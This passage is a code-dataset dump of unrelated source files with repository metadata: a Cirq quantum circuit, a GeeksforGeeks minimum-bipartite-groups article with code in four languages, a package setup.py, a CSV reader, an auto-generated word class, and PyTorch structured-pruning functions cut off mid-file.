cirq.FSimGate(theta=1.4838884067961586, phi=0.5070681071136852).on( cirq.GridQubit(5, 1), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.5398075246432927, phi=0.5174515645943538).on( cirq.GridQubit(5, 3), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.4593314109380113, phi=0.5230636172671492).on( cirq.GridQubit(5, 5), cirq.GridQubit(5, 6)), cirq.FSimGate(theta=1.4902099797510393, phi=0.4552057582549894).on( cirq.GridQubit(6, 1), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5376836849431186, phi=0.46265685930712236).on( cirq.GridQubit(6, 3), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.555185434982808, phi=0.6056351386305033).on( cirq.GridQubit(6, 5), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.4749003996237158, phi=0.4353609222411594).on( cirq.GridQubit(7, 3), cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 13.17328751196916).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -13.126304709465419).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 43.08985605258596).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -43.08722764728342).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 42.51913905702814).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -42.53863574743151).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -26.279776080470445).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 25.98691048000416).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 37.46019981788182).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -37.415019617243125).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -22.114152260365234).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 22.13915312890504).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 32.9400450447035).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -32.89830654723525).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -17.306336273583675).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 17.260024275975592).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 34.09650884952739).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -34.057220632379895).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 16.629064422304193).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -16.6081808085027).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -8.211658529535743).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 8.3147680685528).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -12.993307215153958).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 12.706468621589535).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -10.31291350227552).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 10.030056664474653).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -19.012829891376892).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 19.08782579335034).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 40.77154083730092).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -40.690340871596504).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -10.745583222538006).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 10.644856462836547).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 5)), (cirq.Y**0.5).on(cirq.GridQubit(0, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 4)), (cirq.Y**0.5).on(cirq.GridQubit(1, 5)), (cirq.X**0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), (cirq.X**0.5).on(cirq.GridQubit(2, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), (cirq.Y**0.5).on(cirq.GridQubit(3, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 1)), (cirq.Y**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), (cirq.X**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), (cirq.Y**0.5).on(cirq.GridQubit(4, 6)), (cirq.Y**0.5).on(cirq.GridQubit(4, 7)), (cirq.X**0.5).on(cirq.GridQubit(5, 1)), (cirq.X**0.5).on(cirq.GridQubit(5, 2)), (cirq.Y**0.5).on(cirq.GridQubit(5, 3)), (cirq.Y**0.5).on(cirq.GridQubit(5, 4)), (cirq.Y**0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), (cirq.X**0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.X**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), (cirq.Y**0.5).on(cirq.GridQubit(8, 3)), ]), ])
57d5f77871d2e59fdda4f2f31e1e2a4423ec1a1a
8e24e8bba2dd476f9fe612226d24891ef81429b7
/geeksforgeeks/algorithm/expert_algo/2_6.py
48d002b4b59871316db762455451642b74ab27c3
[]
no_license
qmnguyenw/python_py4e
fb56c6dc91c49149031a11ca52c9037dc80d5dcf
84f37412bd43a3b357a17df9ff8811eba16bba6e
refs/heads/master
2023-06-01T07:58:13.996965
2021-06-15T08:39:26
2021-06-15T08:39:26
349,059,725
1
1
null
null
null
null
UTF-8
Python
false
false
9,332
py
Minimum Bipartite Groups Given Adjacency List representation of graph of **N** vertices from **1 to N** , the task is to count the minimum bipartite groups of the given graph. **Examples:** > **Input:** N = 5 > Below is the given graph with number of nodes is 5: > > > ![](https://media.geeksforgeeks.org/wp- > content/uploads/20200402111232/GraphEx1.jpg) > > **Output:** 3 > **Explanation:** > Possible groups satisfying the Bipartite property: [2, 5], [1, 3], [4] > Below is the number of bipartite groups can be formed: > > > > > > > > > ![](https://media.geeksforgeeks.org/wp- > content/uploads/20200402111247/BipartitegroupEx1.jpg) Recommended: Please try your approach on _**_{IDE}_**_ first, before moving on to the solution. **Approach:** The idea is to find the maximum height of all the Connected Components in the given graph of **N** nodes to find the minimum bipartite groups. Below are the steps: 1. For all the non-visited vertex in the given graph, find the height of the current Connected Components starting from the current vertex. 2. Start DFS Traversal to find the height of all the Connected Components. 3. The maximum of the heights calculated for all the Connected Components gives the minimum bipartite groups required. Below is the implementation of the above approach: ## C++ __ __ __ __ __ __ __ #include<bits/stdc++.h> using namespace std; // Function to find the height sizeof // the current component with vertex s int height(int s, vector<int> adj[], int* visited) { // Visit the current Node visited[s] = 1; int h = 0; // Call DFS recursively to find the // maximum height of current CC for (auto& child : adj[s]) { // If the node is not visited // then the height recursively // for next element if (visited[child] == 0) { h = max(h, 1 + height(child, adj, visited)); } } return h; } // Function to find the minimum Groups int minimumGroups(vector<int> adj[], int N) { // Intialise with visited array int visited[N + 1] = { 0 }; // To find the minimum groups int groups = INT_MIN; // Traverse all the non visited Node // and calculate the height of the // tree with current node as a head for (int i = 1; i <= N; i++) { // If the current is not visited // therefore, we get another CC if (visited[i] == 0) { int comHeight; comHeight = height(i, adj, visited); groups = max(groups, comHeight); } } // Return the minimum bipartite matching return groups; } // Function that adds the current edges // in the given graph void addEdge(vector<int> adj[], int u, int v) { adj[u].push_back(v); adj[v].push_back(u); } // Drivers Code int main() { int N = 5; // Adjacency List vector<int> adj[N + 1]; // Adding edges to List addEdge(adj, 1, 2); addEdge(adj, 3, 2); addEdge(adj, 4, 3); cout << minimumGroups(adj, N); } --- __ __ ## Java __ __ __ __ __ __ __ import java.util.*; class GFG{ // Function to find the height sizeof // the current component with vertex s static int height(int s, Vector<Integer> adj[], int []visited) { // Visit the current Node visited[s] = 1; int h = 0; // Call DFS recursively to find the // maximum height of current CC for (int child : adj[s]) { // If the node is not visited // then the height recursively // for next element if (visited[child] == 0) { h = Math.max(h, 1 + height(child, adj, visited)); } } return h; } // Function to find the minimum Groups static int minimumGroups(Vector<Integer> adj[], int N) { // Intialise with visited array int []visited= new int[N + 1]; // To find the minimum groups int groups = Integer.MIN_VALUE; // Traverse all the non visited Node // and calculate the height of the // tree with current node as a head for (int i = 1; i <= N; i++) { // If the current is not visited // therefore, we get another CC if (visited[i] == 0) { int comHeight; comHeight = height(i, adj, visited); groups = Math.max(groups, comHeight); } } // Return the minimum bipartite matching return groups; } // Function that adds the current edges // in the given graph static void addEdge(Vector<Integer> adj[], int u, int v) { adj[u].add(v); adj[v].add(u); } // Drivers Code public static void main(String[] args) { int N = 5; // Adjacency List Vector<Integer> []adj = new Vector[N + 1]; for (int i = 0 ; i < N + 1; i++) adj[i] = new Vector<Integer>(); // Adding edges to List addEdge(adj, 1, 2); addEdge(adj, 3, 2); addEdge(adj, 4, 3); System.out.print(minimumGroups(adj, N)); } } // This code is contributed by 29AjayKumar --- __ __ ## Python3 __ __ __ __ __ __ __ import sys # Function to find the height sizeof # the current component with vertex s def height(s, adj, visited): # Visit the current Node visited[s] = 1 h = 0 # Call DFS recursively to find the # maximum height of current CC for child in adj[s]: # If the node is not visited # then the height recursively # for next element if (visited[child] == 0): h = max(h, 1 + height(child, adj, visited)) return h # Function to find the minimum Groups def minimumGroups(adj, N): # Intialise with visited array visited = [0 for i in range(N + 1)] # To find the minimum groups groups = -sys.maxsize # Traverse all the non visited Node # and calculate the height of the # tree with current node as a head for i in range(1, N + 1): # If the current is not visited # therefore, we get another CC if (visited[i] == 0): comHeight = height(i, adj, visited) groups = max(groups, comHeight) # Return the minimum bipartite matching return groups # Function that adds the current edges # in the given graph def addEdge(adj, u, v): adj[u].append(v) adj[v].append(u) # Driver code if __name__=="__main__": N = 5 # Adjacency List adj = [[] for i in range(N + 1)] # Adding edges to List addEdge(adj, 1, 2) addEdge(adj, 3, 2) addEdge(adj, 4, 3) print(minimumGroups(adj, N)) # This code is contributed by rutvik_56 --- __ __ ## C# __ __ __ __ __ __ __ using System; using System.Collections.Generic; class GFG{ // Function to find the height sizeof // the current component with vertex s static int height(int s, List<int> []adj, int []visited) { // Visit the current Node visited[s] = 1; int h = 0; // Call DFS recursively to find the // maximum height of current CC foreach (int child in adj[s]) { // If the node is not visited // then the height recursively // for next element if (visited[child] == 0) { h = Math.Max(h, 1 + height(child, adj, visited)); } } return h; } // Function to find the minimum Groups static int minimumGroups(List<int> []adj, int N) { // Intialise with visited array int []visited= new int[N + 1]; // To find the minimum groups int groups = int.MinValue; // Traverse all the non visited Node // and calculate the height of the // tree with current node as a head for (int i = 1; i <= N; i++) { // If the current is not visited // therefore, we get another CC if (visited[i] == 0) { int comHeight; comHeight = height(i, adj, visited); groups = Math.Max(groups, comHeight); } } // Return the minimum bipartite matching return groups; } // Function that adds the current edges // in the given graph static void addEdge(List<int> []adj, int u, int v) { adj[u].Add(v); adj[v].Add(u); } // Drivers Code public static void Main(String[] args) { int N = 5; // Adjacency List List<int> []adj = new List<int>[N + 1]; for (int i = 0 ; i < N + 1; i++) adj[i] = new List<int>(); // Adding edges to List addEdge(adj, 1, 2); addEdge(adj, 3, 2); addEdge(adj, 4, 3); Console.Write(minimumGroups(adj, N)); } } // This code is contributed by Rajput-Ji --- __ __ **Output:** 3 **Time Complexity:** O(V+E), where V is the number of vertices and E is the set of edges. Attention reader! Don’t stop learning now. Get hold of all the important DSA concepts with the **DSA Self Paced Course** at a student-friendly price and become industry ready. To complete your preparation from learning a language to DS Algo and many more, please refer **Complete Interview Preparation Course** **.** My Personal Notes _arrow_drop_up_ Save
2ed301967dcb7f052a8c51f56ef1b0bdc1ca357e
fa54359c670fd9d4db543505819ce26481dbcad8
/setup.py
4d01cb7c22b59ecad2520a5c62baf9bba188d3c2
[ "MIT" ]
permissive
masasin/decorating
4b961e7b2201b84a1cf0553c65e4d0c0768723d5
c19bc19b30eea751409f727b03e156123df704e1
refs/heads/master
2021-01-20T16:35:43.333543
2016-05-18T08:22:48
2016-05-18T08:22:48
59,138,136
0
0
null
2016-05-18T17:43:23
2016-05-18T17:43:23
null
UTF-8
Python
false
false
2,158
py
#!/usr/bin/env python # coding=utf-8 # # Python Script # # Copyright © Manoel Vilela # # from setuptools import setup, find_packages from codecs import open # To use a consistent encoding from os import path from warnings import warn import decorating try: import pypandoc except ImportError: warn("Only-for-developers: you need pypandoc for upload " "correct reStructuredText into PyPI home page") here = path.abspath(path.dirname(__file__)) readme = path.join(here, 'README.md') if 'pypandoc' in globals(): long_description = pypandoc.convert(readme, 'rst', format='markdown') else: # Get the long description from the relevant file with open(readme, encoding='utf-8') as f: long_description = f.read() setup( name='decorating', version=decorating.__version__, description="A useful collection of decorators (focused in animation)", long_description=long_description, classifiers=[ "Environment :: Console", "Development Status :: 3 - Alpha", "Topic :: Utilities", "Operating System :: Unix", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", ], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='decorating animation decorators decorator', author=decorating.__author__, author_email=decorating.__email__, url=decorating.__url__, download_url="{u}/archive/v{v}.tar.gz".format(u=decorating.__url__, v=decorating.__version__), zip_safe=False, license='MIT', packages=find_packages(exclude=['ez_setup', 'examples', 'tests', 'docs', '__pycache__']), platforms='unix', install_requires=[ x.strip() for x in open('requirements.txt').readlines() ], entry_points={ # no entry-points yet # 'console_scripts': [ # 'decorating = decorating.cli:main' # ] } )
8939aa5cea12440890c866f83eaff3e3468a5fb9
9c79c683196e0d42b41a831a6e37bb520a75e269
/bin/read_csv.py
cd747d2de7527220c0d51ccbc09642e1e551c460
[]
no_license
YutingYao/crater_lakes
7714cf64cd3649bd93b2c3cafcc8c73b4a3ff05b
b57ac0c18ce37b0f71f59fc8d254fa12890090ee
refs/heads/master
2023-05-14T08:45:02.290369
2017-05-13T00:55:48
2017-05-13T00:55:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
710
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ read_csv.py Created on Fri Feb 10 08:48:07 2017 @author: sam """ import os import pandas as pd import numpy as np import datetime def read_csv(target): try: os.chdir('/home/sam/git/crater_lakes/atmcorr/results/'+target) df = pd.read_csv(target+'.csv') return { 'r':np.clip(df.red.values,0,1), 'g':np.clip(df.green.values,0,1), 'b':np.clip(df.blue.values,0,1), 'dT':df.dBT.values, 'timestamps':df.timestamp.values, 'datetimes':[datetime.datetime.fromtimestamp(t) for t in df.timestamp.values], 'satellites':df.satellite.values } except: print('File IO error for :'+target)
f16bb51a8835137aba50c21bb060c677a7604e02
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/otherforms/_musses.py
b1ce3e681289e77be9498786f527b925bf9b01de
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
216
py
#calss header class _MUSSES(): def __init__(self,): self.name = "MUSSES" self.definitions = muss self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['muss']
d1441b012702f2751b0bea9934251ad4628a2b71
afd2087e80478010d9df66e78280f75e1ff17d45
/torch/ao/pruning/_experimental/pruner/prune_functions.py
c4c94e0887adf43ca07ec7018d1b5e9703519da6
[ "BSD-3-Clause", "BSD-2-Clause", "LicenseRef-scancode-secret-labs-2011", "LicenseRef-scancode-generic-cla", "BSL-1.0", "Apache-2.0" ]
permissive
pytorch/pytorch
7521ac50c47d18b916ae47a6592c4646c2cb69b5
a6f7dd4707ac116c0f5fb5f44f42429f38d23ab4
refs/heads/main
2023-08-03T05:05:02.822937
2023-08-03T00:40:33
2023-08-03T04:14:52
65,600,975
77,092
24,610
NOASSERTION
2023-09-14T21:58:39
2016-08-13T05:26:41
Python
UTF-8
Python
false
false
18,831
py
""" Collection of conversion functions for linear / conv2d structured pruning Also contains utilities for bias propagation """ from typing import cast, Optional, Callable, Tuple import torch from torch import nn, Tensor from torch.nn.utils import parametrize from torch.nn.utils.parametrize import ParametrizationList from .parametrization import FakeStructuredSparsity, BiasHook # BIAS PROPAGATION def _remove_bias_handles(module: nn.Module) -> None: if hasattr(module, "_forward_hooks"): bias_hooks = [] for key, hook in module._forward_hooks.items(): if isinstance(hook, BiasHook): bias_hooks.append(key) for key in bias_hooks: del module._forward_hooks[key] def _get_adjusted_next_layer_bias( next_layer: nn.Module, pruned_biases: Tensor, mask: Tensor ) -> nn.Parameter: r"""Returns new adjusted bias for the second supported module""" if parametrize.is_parametrized(next_layer): # need to access original weight parametrization_dict = cast(nn.ModuleDict, next_layer.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) next_weight = weight_parameterizations.original else: next_weight = cast(Tensor, next_layer.weight) scaling_weight = next_weight[:, ~mask] if isinstance(next_layer, nn.Conv2d): # checking for Conv2d # Propagating first layer pruned biases and calculating the new second layer bias # involves more steps since the Conv2d scaling weight has extra dimensions, # so adding bias involves broadcasting, logically: # for each channel k in range(oC): # scaled_biases = sum(first_bias[pruned_idx] @ next_weight[k, pruned_idx, :, :].T) # new_next_bias[k] = old_next_bias[k] + scaled_biases scaling_product = torch.matmul( pruned_biases.reshape(1, -1), torch.transpose(scaling_weight, 1, 2) ) sum_range = list(range(len(scaling_product.shape)))[ 1: ] # all but the first dimension scaled_biases = torch.sum(scaling_product, sum_range) elif isinstance(next_layer, nn.Linear): # Linear scaled_biases = torch.matmul( pruned_biases, torch.transpose(scaling_weight, 0, 1) ) # recall b2_new = b1 @ w2.T + b2 else: raise NotImplementedError(f"Type {type(next_layer)} not supported yet.") if ( parametrize.is_parametrized(next_layer) and getattr(next_layer, "_bias", None) is not None ): # next_layer is parametrized & has original bias ._bias adjusted_bias = nn.Parameter(scaled_biases + next_layer._bias) elif ( not parametrize.is_parametrized(next_layer) and next_layer.bias is not None ): # next_layer not parametrized & has .bias adjusted_bias = nn.Parameter(scaled_biases + next_layer.bias) else: # next_layer has no bias adjusted_bias = nn.Parameter(scaled_biases) return adjusted_bias def _prune_module_bias(module: nn.Module, mask: Tensor) -> None: r"""Applies mask to given modules bias""" # prune bias along with weights, discard pruned indices of bias original_bias = cast(Tensor, getattr(module, "_bias", module.bias)) if original_bias is not None: module.bias = nn.Parameter(original_bias[mask]) # remove _bias parameter if hasattr(module, "_bias"): delattr(module, "_bias") def _propogate_module_bias(module: nn.Module, mask: Tensor) -> Optional[Tensor]: r""" In the case that we need to propagate biases, this function will return the biases we need """ # set current module bias if module.bias is not None: module.bias = nn.Parameter(cast(Tensor, module.bias)[mask]) elif getattr(module, "_bias", None) is not None: module.bias = nn.Parameter(cast(Tensor, module._bias)[mask]) # get pruned biases to propagate to subsequent layer if getattr(module, "_bias", None) is not None: pruned_biases = cast(Tensor, module._bias)[~mask] else: pruned_biases = None if hasattr(module, "_bias"): delattr(module, "_bias") return pruned_biases # LINEAR def _prune_linear_helper(linear: nn.Linear) -> Tensor: # expects linear to be a parameterized linear module parametrization_dict = cast(nn.ModuleDict, linear.parametrizations) weight_parameterizations = cast(ParametrizationList, parametrization_dict.weight) for p in weight_parameterizations: if isinstance(p, FakeStructuredSparsity): mask = cast(Tensor, p.mask) with torch.no_grad(): parametrize.remove_parametrizations(linear, "weight", leave_parametrized=True) linear.weight = nn.Parameter(linear.weight[mask]) linear.out_features = linear.weight.shape[0] _remove_bias_handles(linear) return mask def prune_linear(linear: nn.Linear) -> None: mask = _prune_linear_helper(linear) if getattr(linear, "prune_bias", False): _prune_module_bias(linear, mask) def prune_linear_linear(linear1: nn.Linear, linear2: nn.Linear) -> None: prune_linear_activation_linear(linear1, None, linear2) def prune_linear_activation_linear( linear1: nn.Linear, activation: Optional[Callable[[Tensor], Tensor]], linear2: nn.Linear, ): mask = _prune_linear_helper(linear1) if getattr(linear1, "prune_bias", False): _prune_module_bias(linear1, mask) else: pruned_biases = _propogate_module_bias(linear1, mask) if pruned_biases is not None: if activation: pruned_biases = activation(pruned_biases) linear2.bias = _get_adjusted_next_layer_bias(linear2, pruned_biases, mask) with torch.no_grad(): if parametrize.is_parametrized(linear2): parametrization_dict = cast(nn.ModuleDict, linear2.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) weight_parameterizations.original = nn.Parameter( weight_parameterizations.original[:, mask] ) linear2.in_features = weight_parameterizations.original.shape[1] else: linear2.weight = nn.Parameter(linear2.weight[:, mask]) linear2.in_features = linear2.weight.shape[1] # CONV2D def _prune_conv2d_helper(conv2d: nn.Conv2d) -> Tensor: parametrization_dict = cast(nn.ModuleDict, conv2d.parametrizations) weight_parameterizations = cast(ParametrizationList, parametrization_dict.weight) for p in weight_parameterizations: if isinstance(p, FakeStructuredSparsity): mask = cast(Tensor, p.mask) with torch.no_grad(): parametrize.remove_parametrizations(conv2d, "weight", leave_parametrized=True) conv2d.weight = nn.Parameter(conv2d.weight[mask]) conv2d.out_channels = conv2d.weight.shape[0] _remove_bias_handles(conv2d) return mask def prune_conv2d_padded(conv2d_1: nn.Conv2d) -> None: parametrization_dict = cast(nn.ModuleDict, conv2d_1.parametrizations) weight_parameterizations = cast(ParametrizationList, parametrization_dict.weight) for p in weight_parameterizations: if isinstance(p, FakeStructuredSparsity): mask = cast(Tensor, p.mask) with torch.no_grad(): parametrize.remove_parametrizations(conv2d_1, "weight", leave_parametrized=True) if getattr(conv2d_1, "_bias", None) is not None: if ( conv2d_1.bias is not None ): # conv2d_1 has original bias and bias propagated from previous layer new_bias = torch.zeros(conv2d_1.bias.shape) new_bias[mask] = conv2d_1.bias[mask] # adjusted bias that to keep in conv2d_1 new_bias[~mask] = cast(Tensor, conv2d_1._bias)[~mask] # pruned biases that are kept instead of propagated conv2d_1.bias = nn.Parameter(new_bias) else: # conv2d_1 has only original bias conv2d_1.bias = nn.Parameter(cast(Tensor, conv2d_1._bias)) else: # no original bias, only propagated bias if ( conv2d_1.bias is not None ): # conv2d_1 has bias propagated from previous layer conv2d_1.bias.data[~mask] = 0 if hasattr(conv2d_1, "_bias"): delattr(conv2d_1, "_bias") def prune_conv2d(conv2d: nn.Conv2d) -> None: mask = _prune_conv2d_helper(conv2d) if getattr(conv2d, "prune_bias", False): _prune_module_bias(conv2d, mask) def prune_conv2d_conv2d(conv2d_1: nn.Conv2d, conv2d_2: nn.Conv2d) -> None: prune_conv2d_activation_conv2d(conv2d_1, None, conv2d_2) def prune_conv2d_activation_conv2d( conv2d_1: nn.Conv2d, activation: Optional[Callable[[Tensor], Tensor]], conv2d_2: nn.Conv2d, ): r""" Fusion Pattern for conv2d -> some activation module / function -> conv2d layers """ parametrization_dict = cast(nn.ModuleDict, conv2d_1.parametrizations) weight_parameterizations = cast(ParametrizationList, parametrization_dict.weight) for p in weight_parameterizations: if isinstance(p, FakeStructuredSparsity): mask = cast(Tensor, p.mask) prune_bias = getattr(conv2d_1, "prune_bias", False) if ( hasattr(conv2d_2, "padding") and cast(Tuple[int], conv2d_2.padding) > (0, 0) and (conv2d_1.bias is not None or getattr(conv2d_1, "_bias", None) is not None) ): prune_conv2d_padded(conv2d_1) else: mask = _prune_conv2d_helper(conv2d_1) if prune_bias: _prune_module_bias(conv2d_1, mask) else: pruned_biases = _propogate_module_bias(conv2d_1, mask) if pruned_biases is not None: if activation: pruned_biases = activation(pruned_biases) conv2d_2.bias = _get_adjusted_next_layer_bias( conv2d_2, pruned_biases, mask ) if ( not ( hasattr(conv2d_2, "padding") and cast(Tuple[int], conv2d_2.padding) > (0, 0) ) or conv2d_1.bias is None ): with torch.no_grad(): if parametrize.is_parametrized(conv2d_2): parametrization_dict = cast( nn.ModuleDict, conv2d_2.parametrizations ) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) weight_parameterizations.original = nn.Parameter( weight_parameterizations.original[:, mask] ) conv2d_2.in_channels = weight_parameterizations.original.shape[1] else: conv2d_2.weight = nn.Parameter(conv2d_2.weight[:, mask]) conv2d_2.in_channels = conv2d_2.weight.shape[1] def prune_conv2d_pool_activation_conv2d( c1: nn.Conv2d, pool: nn.Module, activation: Optional[Callable[[Tensor], Tensor]], c2: nn.Conv2d, ) -> None: prune_conv2d_activation_conv2d(c1, activation, c2) def prune_conv2d_activation_pool_conv2d( c1: nn.Conv2d, activation: Optional[Callable[[Tensor], Tensor]], pool: nn.Module, c2: nn.Conv2d, ) -> None: prune_conv2d_activation_conv2d(c1, activation, c2) def prune_conv2d_pool_flatten_linear( conv2d: nn.Conv2d, pool: nn.Module, flatten: Optional[Callable[[Tensor], Tensor]], linear: nn.Linear, ) -> None: mask = _prune_conv2d_helper(conv2d) # We map the pruned indices of the Conv2d output to the flattened indices of the Linear following the Flatten layer. # we determine the flattening scale (h * w), and readjust `first_pruned_indices` # (each idx maps to range idx * h * w to (idx+1) * h * w), `first_valid_indices`, # and `pruned_biases` (repeat each bias by h * w). if parametrize.is_parametrized(linear): parametrization_dict = cast(nn.ModuleDict, linear.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) linear_ic = weight_parameterizations.original.shape[1] else: linear_ic = linear.weight.shape[1] conv2d_oc = len(mask) assert ( linear_ic % conv2d_oc == 0 ), f"Flattening from dimensions {conv2d_oc} to {linear_ic} not supported" flatten_scale = linear_ic // conv2d_oc flattened_mask = torch.tensor( [[val] * flatten_scale for val in mask], dtype=torch.bool, device=mask.device ).flatten() if getattr(conv2d, "prune_bias", False): _prune_module_bias(conv2d, mask) else: pruned_biases = cast(Tensor, _propogate_module_bias(conv2d, mask)) flattened_pruned_biases = torch.tensor( [[bias] * flatten_scale for bias in pruned_biases], device=mask.device ).flatten() linear.bias = _get_adjusted_next_layer_bias( linear, flattened_pruned_biases, flattened_mask ) with torch.no_grad(): if parametrize.is_parametrized(linear): parametrization_dict = cast(nn.ModuleDict, linear.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) weight_parameterizations.original = nn.Parameter( weight_parameterizations.original[:, flattened_mask] ) linear.in_features = weight_parameterizations.original.shape[1] else: linear.weight = nn.Parameter(linear.weight[:, flattened_mask]) linear.in_features = linear.weight.shape[1] def prune_lstm_output_linear( lstm: nn.LSTM, getitem: Callable, linear: nn.Linear ) -> None: prune_lstm_output_layernorm_linear(lstm, getitem, None, linear) def prune_lstm_output_layernorm_linear( lstm: nn.LSTM, getitem: Callable, layernorm: Optional[nn.LayerNorm], linear: nn.Linear, ) -> None: for i in range(lstm.num_layers): if parametrize.is_parametrized(lstm, f"weight_ih_l{i}"): parametrization_dict = cast(nn.ModuleDict, lstm.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict[f"weight_ih_l{i}"] ) mask = weight_parameterizations[0].mask with torch.no_grad(): parametrize.remove_parametrizations( lstm, f"weight_ih_l{i}", leave_parametrized=True ) setattr( lstm, f"weight_ih_l{i}", nn.Parameter(getattr(lstm, f"weight_ih_l{i}")[mask]), ) setattr( lstm, f"bias_ih_l{i}", nn.Parameter(getattr(lstm, f"bias_ih_l{i}")[mask]), ) if parametrize.is_parametrized(lstm, f"weight_hh_l{i}"): parametrization_dict = cast(nn.ModuleDict, lstm.parametrizations) weight_parameterizations = cast( ParametrizationList, parametrization_dict[f"weight_hh_l{i}"] ) mask = weight_parameterizations[0].mask with torch.no_grad(): parametrize.remove_parametrizations( lstm, f"weight_hh_l{i}", leave_parametrized=True ) # splitting out hidden-hidden masks W_hi, W_hf, W_hg, W_ho = torch.split( getattr(lstm, f"weight_hh_l{i}"), lstm.hidden_size ) M_hi, M_hf, M_hg, M_ho = torch.split(mask, lstm.hidden_size) # resize each individual weight separately W_hi = W_hi[M_hi][:, M_hi] W_hf = W_hf[M_hf][:, M_hf] W_hg = W_hg[M_hg][:, M_hg] W_ho = W_ho[M_ho][:, M_ho] # concat, use this as new weight new_weight = torch.cat((W_hi, W_hf, W_hg, W_ho)) setattr(lstm, f"weight_hh_l{i}", nn.Parameter(new_weight)) setattr( lstm, f"bias_hh_l{i}", nn.Parameter(getattr(lstm, f"bias_hh_l{i}")[mask]), ) # If this is the final layer, then we need to prune linear layer columns if i + 1 == lstm.num_layers: lstm.hidden_size = int(M_hi.sum()) with torch.no_grad(): if parametrize.is_parametrized(linear): parametrization_dict = cast( 